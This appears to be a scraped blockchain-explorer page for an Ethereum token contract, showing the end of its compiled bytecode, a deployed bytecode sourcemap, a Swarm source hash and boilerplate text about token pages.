1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610b29578181015183820152602001610b11565b50505050905090810190601f168015610b565780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b7857600080fd5b505af1158015610b8c573d6000803e3d6000fd5b506001979650505050505050565b6001546001600160a01b031681565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610beb57600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082821115610c1c57600080fd5b50900390565b818101828110156105ca57600080fdfea265627a7a72315820217897c749efd75df3a499fd7d3e603b735bc4c1c4a332b0645c738f69ce02fd64736f6c63430005110032

Deployed Bytecode Sourcemap

13139:782:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4665:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4665:18:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;4665:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6848:194;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6848:194:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;6848:194:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;6313:108;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6313:108:0;;;:::i;:::-;;;;;;;;;;;;;;;;4736:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4736:20:0;;;:::i;:::-;;;;-1:-1:-1;;;;;4736:20:0;;;;;;;;;;;;;;7046:443;;8:9:-1;5:2;;;30:1;27;20:12;5:2;7046:443:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;7046:443:0;;;;;;;;;;;;;;;;;:::i;4688:21::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4688:21:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6425:116;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6425:116:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;6425:116:0;-1:-1:-1;;;;;6425:116:0;;:::i;3771:178::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3771:178:0;;;:::i;5658:83::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5658:83:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;5658:83:0;-1:-1:-1;;;;;5658:83:0;;:::i;3403:20::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3403:20:0;;;:::i;4640:::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4640:20:0;;;:::i;6545:299::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6545:299:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;6545:299:0;;;;;;;;:::i;13730:148::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;13730:148:0;;;:::i;7638:315::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;7638:315:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;7638:315:0;;;;;;;;;;;;;;;;;;;21:11:-1;5:28;;2:2;;;46:1;43;36:12;2:2;7638:315:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;7638:315:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8:2;;;131:1;128;121:12;8:2;7638:315:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;81:16;;74:27;;;;-1:-1;7638:315:0;;-1:-1:-1;7638:315:0;;-1:-1:-1;;;;;7638:315:0:i;3428:23::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3428:23:0;;;:::i;7493:141::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;7493:141:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;7493:141:0;;;;;;;;;;:::i;3671:96::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3671:96:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;3671:96:0;-1:-1:-1;;;;;3671:96:0;;:::i;4665:18::-;;;;;;;;;;;;;;;-1:-1:-1;;4665:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6848:194::-;6940:10;6911:12;6932:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;6932:28:0;;;;;;;;;;;:37;;;6981;;;;;;;6911:12;;6932:28;;6940:10;;6981:37;;;;;;;;-1:-1:-1;7032:4:0;6848:194;;;;;:::o;6313:108::-;6357:4;6394:20;;;:8;:20;;;;6377:12;;:38;;;:16;:38;:::i;:::-;6370:45;;6313:108;:::o;4736:20::-;;;-1:-1:-1;;;;;4736:20:0;;:::o;7046:443::-;7123:12;-1:-1:-1;;;;;7149:18:0;;;;;;:41;;-1:-1:-1;7171:5:0;;-1:-1:-1;;;;;7171:5:0;:19;7149:41;7146:105;;;7192:5;:10;;-1:-1:-1;;;;;;7192:10:0;-1:-1:-1;;;;;7192:10:0;;;;;7146:105;;;7230:5;;-1:-1:-1;;;;;7224:11:0;;;7230:5;;7224:11;;7216:35;;;;;-1:-1:-1;;;7216:35:0;;;;;;;;;;;;-1:-1:-1;;;7216:35:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;7283:14:0;;;;;;:8;:14;;;;;;:26;;7302:6;7283:26;:18;:26;:::i;:::-;-1:-1:-1;;;;;7266:14:0;;;;;;:8;:14;;;;;;;;:43;;;;7344:7;:13;;;;;7358:10;7344:25;;;;;;:37;;7374:6;7344:37;:29;:37;:::i;:::-;-1:-1:-1;;;;;7316:13:0;;;;;;;:7;:13;;;;;;;;7330:10;7316:25;;;;;;;:65;;;;7403:12;;;;;:8;:12;;;;;:24;;7420:6;7403:24;:16;:24;:::i;:::-;-1:-1:-1;;;;;7388:12:0;;;;;;;:8;:12;;;;;;;;;:39;;;;7439:26;;;;;;;7388:12;;7439:26;;;;;;;;;;;;;-1:-1:-1;7479:4:0;7046:443;;;;;:::o;4688:21::-;;;;;;:::o;6425:116::-;-1:-1:-1;;;;;6515:20:0;6485:12;6515:20;;;:8;:20;;;;;;;6425:116::o;3771:178::-;3834:8;;-1:-1:-1;;;;;3834:8:0;3820:10;:22;3812:31;;;;;;3883:8;;;3876:5;;3855:37;;-1:-1:-1;;;;;3883:8:0;;;;3876:5;;;;3855:37;;;3907:8;;;;3899:16;;-1:-1:-1;;;;;;3899:16:0;;;-1:-1:-1;;;;;3907:8:0;;3899:16;;;;3922:21;;;3771:178::o;5658:83::-;3645:5;;-1:-1:-1;;;;;3645:5:0;3631:10;:19;3623:28;;;;;;5721:5;:14;;-1:-1:-1;;;;;;5721:14:0;-1:-1:-1;;;;;5721:14:0;;;;;;;;;;5658:83::o;3403:20::-;;;-1:-1:-1;;;;;3403:20:0;;:::o;4640:::-;;;;;;;;;;;;;;-1:-1:-1;;4640:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6545:299;6640:5;;6604:12;;-1:-1:-1;;;;;6634:11:0;;;6640:5;;6634:11;;6626:35;;;;;-1:-1:-1;;;6626:35:0;;;;;;;;;;;;-1:-1:-1;;;6626:35:0;;;;;;;;;;;;;;;6707:10;6698:20;;;;:8;:20;;;;;;:32;;6723:6;6698:32;:24;:32;:::i;:::-;6684:10;6675:20;;;;:8;:20;;;;;;:55;;;;-1:-1:-1;;;;;6752:12:0;;;;;;:24;;6769:6;6752:24;:16;:24;:::i;:::-;-1:-1:-1;;;;;6737:12:0;;;;;;:8;:12;;;;;;;;;:39;;;;6788:32;;;;;;;6737:12;;6797:10;;6788:32;;;;;;;;;;-1:-1:-1;6834:4:0;6545:299;;;;:::o;13730:148::-;3645:5;;-1:-1:-1;;;;;3645:5:0;3631:10;:19;3623:28;;;;;;13834:38;;13817:10;;;;13850:21;13834:38;;;;;13792:22;13834:38;13792:22;13834:38;13850:21;13817:10;13834:38;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;13834:38:0;3658:1;13730:148::o;7638:315::-;7756:10;7727:12;7748:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;7748:28:0;;;;;;;;;;;:37;;;7797;;;;;;;7727:12;;7748:28;;7756:10;;7797:37;;;;;;;;7841:88;;-1:-1:-1;;;7841:88:0;;7889:10;7841:88;;;;;;;;;;;;7917:4;7841:88;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7841:47:0;;;;;7889:10;7901:6;;7917:4;7924;;7841:88;;;;;;;;;;;;;;;;-1:-1:-1;8:100;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;7841:88:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;7841:88:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;-1:-1;7943:4:0;;7638:315;-1:-1:-1;;;;;;;7638:315:0:o;3428:23::-;;;-1:-1:-1;;;;;3428:23:0;;:::o;7493:141::-;-1:-1:-1;;;;;7600:19:0;;;7570:14;7600:19;;;:7;:19;;;;;;;;:28;;;;;;;;;;;;;7493:141::o;3671:96::-;3645:5;;-1:-1:-1;;;;;3645:5:0;3631:10;:19;3623:28;;;;;;3741:8;:20;;-1:-1:-1;;;;;;3741:20:0;-1:-1:-1;;;;;3741:20:0;;;;;;;;;;3671:96::o;2228:104::-;2280:6;2308:1;2303;:6;;2295:15;;;;;;-1:-1:-1;2321:5:0;;;2228:104::o;2120:::-;2191:5;;;2211:6;;;;2203:15;;;;

Swarm Source

bzzr://217897c749efd75df3a499fd7d3e603b735bc4c1c4a332b0645c738f69ce02fd
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.